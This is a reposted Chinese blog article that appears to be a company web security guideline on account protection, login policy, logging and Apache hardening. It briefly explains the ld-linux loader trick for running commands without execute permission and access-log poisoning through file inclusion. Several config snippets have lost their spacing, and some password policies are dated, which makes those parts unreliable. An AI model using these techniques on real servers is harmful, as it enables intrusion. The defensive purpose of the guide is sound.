  我们看电影会知道,这次的电影票下次是用不了的,为什么?因为他是一次性质的。如果我们把验证信息分为两种,一部分是获取票据的A,一个是换取到的B,每次验证时都会跳到一个安全的地方(A的种植必须严格)用A换取B,然后B去换取该应用的认证cookie,最后B自行失效。

  这样即使cookie泄露,也只影响单一的应用,不会波及其他产品线。

 

4.3.4.      密码取回

  用户帐户的非法攻击不局限于cookie,安全人员会知道,密码永远是第一道门,所以黑客有时也会利用用户的失误而走一些捷径,这个捷径就是密码取回机制。

  这个地方不需要弄的太复杂,只要认清一点,经常登陆的用户也就是活跃用户,是不会忘记自己密码的,自然就不会用到密码取回功能,那谁会用呢?黑客!

  所以我们就可以设定一个阀值,几天内登陆过的用户不能使用密码取回功能。

 

4.3.5.      登录用户名/uid保护

  登陆名和昵称是两个截然不同的东西,不是说形态或是功能,而是对于用户帐号安全的重大意义,黑客在页面上选择了攻击目标后,其实看到的只有昵称,但是昵称不是登陆凭据,所以黑客即使有了密码没有登陆用户名一样是无法登陆用户帐号的。

  和登陆用户名一样重要的还有用户ID,不过用户id很难从程序流程中彻底排除掉,但从正常的用户使用角度来看,没人会记得自己的那一长串id,所以,登陆过程和密码取回过程中禁止使用id做凭据。

 

 

4.3.6.      异常行为检测

  用户的cookie被劫持、用户口令泄露导致的帐户非法登陆,以及大批量的扫号行为等等,都有个共性,就是行为异常,总体来说有以下异常表现 :

 

(1)异地登陆

(2)大量错误登陆

(3)大量正常登陆

(4)大量修改密码

 

  发现异常行为要根据用户ip变化,同ip及操作数量阀值来综合判断。

 

4.3.7.      双因素认证机制

  目前为止用户的登陆因素就是用户名和密码,一旦泄露就无安全可言,而用户名密码在多年的安全洗礼中依然显得及其脆弱,所以我们需要在加入一个token验证机制,这个token可能来自于短信、手机应用、硬件口令卡,此类安全保障程度要远远高于传统的用户密码这种形式。

 

5. 项目设计安全策略

5.1.       恰当的错误返回机制

  如果程序失败了要保证程序能够正常终止,在出错提示中包含尽量少的信息,绝对不能包含任何系统信息,配置信息等错误信息。全部给出一个例如"服务器忙请稍候再试"的统一错误信息。

 

  登陆错误提示信息全部一样,不要显示"不存在该用户"或"密码不对"这样的提示,防止利用错误提示获取用户名列表。统一给出"用户名或密码错误"的错误提示。

 

  设计一个统一的Apache错误页面,来替换现在的401 403 404 500等pache自带的错误页面,让所有的错误返回的信息都完全一样,因为提交页面返回的错误信息可以给入侵者提供丰富的信息,例如探测后台管理目录时,如果返回的是403错误,就说明该目录存在。

 

5.2.       恰当的用户登陆策略

5.2.1.      前台用户系统登陆策略

密码连续三次输入错误就需要输入验证码,如果发现目标来自相同IP,可以考虑将IP进行封锁一定时间(此IP登陆任何帐号都需要验证码),防止暴力破解用户密码。

 

5.2.2.      后台用户系统登陆策略

 

(1)    所有后台管理系统应该只允许公司内网IP登陆。

(2)  所有后台管理系统用户登陆应该使用动态口令认证(RSA SecurID或者手机认证)。信息安全部门提供有动态认证的接口和代码,包括radius和web api两种接口。需要时,请联系信息安全部门获取(可拨打5666)。

(3)  对于实在无法时用动态口令认证的后台管理系统,程序需强制要求:

a.       用户密码六位或六位以上

b.       密码超过40天没有修改就自动冻结帐户,登陆时强制用户修改密码,并不能和上次密码一样

c.       登陆时使用验证码

 

(4)  建议:

a.    用户登陆成功时提示上次登陆IP和登陆时间,如果上次登陆IP和本次登陆IP不同则提示用户

b.     如果有密码输入错误记录,用户登陆成功后提示用户上次密

码输入错误时间和连续输入错误次数及尝试用错误密码登陆的IP

 

5.3.       日志分析功能

  所有的系统事件和用户行为必须留下详细的记录,时间、对象、来源、事件类型、事件描述、状态代码等都是有意义的记录。

 

(1)  分级的事件记录测量

(2)  全面的系统事件日志

(3)  用户登录、退出日志

(4)  定期的日志分析及报告生成

(5)  监控和报警(对于异常的事件和攻击事件进行报警)

 

5.4.       访问控制策略

  我们有这许许多多的系统,系统又有着各自的后台应用,它们的访问问题是一个需要注意的地方,这种地方都需要对公网访问进行屏蔽,只开放操作ip的访问权限。

  如果后台使用者存在大量公司外部兼职或合作人员,那只需开放几个vpn ip的访问权限,然后一律要求此类人员登陆新浪vpn进行登陆工作,并且限制此类人员帐号的访问权限。

 

6. 环境配置安全策略

6.1.       Apache配置安全隐患

6.1.1.      Apache限制文件访问

  由于系统管理员的疏忽,把一些重要的文件放在了一些自认为合理的位置,根本没有考虑到去访问安全问题,造成了安全隐患。这样给攻击者造成可乘之机,能访问到非公开文档和页面,造成部分源码或文档泄密。

 

  解决办法就是在apache配置某些类型文件是不可访问的。

 

  在apache配置文件httpd.conf中增加禁止访问.tar.gz类型的文件的配置。

<FilesMatch  "\.tar.gz$">

   Order Allow,Deny

   Deny from All

   Satisfy All

</FilesMatch>

 

6.1.2.    禁止Apache显示目录结构

Apache有些配置失误,在浏览请求非缺省主页时(index.html),就会返回详细的目录结构,造成目录下的文件结构泄露。

 

这种问题的配置情况应该是如下这个样子:

<Directory /data0/www/htdocs/log >

    OptionsIndexes FollowSymLinks

    AllowOverrideNone

    Order allow,deny

    Allow from all

</Directory>

 

Indexes 的作用就是当该目录下没有 index.html 文件时,就显示目录结构,去掉 Indexes,Apache 就不会显示该目录的列表了。

 

Options FollowSymLinks

 

6.1.3.    限制Apache目录访问

  攻击者能访问到公开目录下只给内部人员需要通过internet浏览的目录。造成统计数据或者其他文档的泄密。

 

(1)在apache配置文件httpd.conf中增加限制访问此类目录的配置。用户需通过密码认证才能进入这些目录。如:

 

<directory/data0/www/htdocs/log>

Allowoverrideauthconfig

OptionsIndexes FollowSymLinks

orderallow,deny

allow fromall

</directory>

 

(2) 然后要加验证的目录下加入.htaccess文件.内容如下:

AuthUser File/etc/.passwd #此文件后面用htpasswd建立和修改

Authnameusername #此名称你可以根据需要而更改

AuthTypeBasic

<LimitGET>   # GET 要全部大写

  require valid-user

</Limit>

 

(3) 建立用户密码文件

htpasswd -c/etc/.passwd username #创建文件并加入帐号username

然后输入两次密码

 

(4)重启apache

 

6.2.       重要系统命令读写执行权限

  一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。

 

6.3.       去掉apache日志及其它文件读写权限

  apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。

 

  如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

来源:http://lib.csdn.net/article/php/51119

posted @ 2017-11-24 15:20  左闯  阅读(6689)  评论(0编辑  收藏  举报